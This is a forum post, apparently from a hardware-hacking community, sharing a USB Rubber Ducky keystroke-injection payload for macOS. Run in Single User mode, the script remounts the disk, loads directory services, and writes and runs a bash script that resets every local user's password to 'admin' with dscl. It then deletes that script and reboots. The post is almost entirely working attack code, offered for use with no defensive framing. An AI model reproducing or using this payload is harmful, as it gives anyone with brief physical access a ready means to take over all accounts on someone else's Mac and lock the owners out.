Jump to content

[PAYLOAD] Reset all user account passwords in OSX.


persona_non_grata
 Share

Recommended Posts

Hello all,

This is my first ducky script. It resets all the users passwords to admin. Just run in Single User mode.

DELAY 500
STRING mount -uw /
DELAY 500
ENTER
STRING launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist
ENTER
DELAY 500
STRING launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist
DELAY 500
ENTER
STRING launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServicesLocal.plist
DELAY 500
ENTER
STRING echo '#!/bin/bash' > rstpass.sh
ENTER
DELAY 200
STRING echo users="$""(""ls /Users/" "|" "grep -vw 'Shared\|Guest\|Deleted Users\|.localized')" >> rstpass.sh
ENTER
STRING echo arr="("'$'"users)" >> rstpass.sh
ENTER
STRING echo arraySize="$"{#arr[@]} >> rstpass.sh
ENTER
STRING echo new_password="admin" >> rstpass.sh
ENTER
STRING echo "for (( i=0; i<"'$'"{arraySize}; i++ ));" >> rstpass.sh
ENTER
STRING echo do >> rstpass.sh
ENTER
STRING echo /Users/"$""{arr["'$'""i"]}" >> rstpass.sh
ENTER
STRING echo dscl . passwd /Users/"$""{arr["'$'"i]}" "$"new_password >> rstpass.sh
ENTER
STRING echo done >> rstpass.sh
DELAY 500
ENTER
DELAY 200
STRING chmod +x rstpass.sh
DELAY 500
ENTER
STRING ./rstpass.sh
DELAY 200
ENTER
STRING rm rstpass.sh
ENTER
STRING reboot
ENTER
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...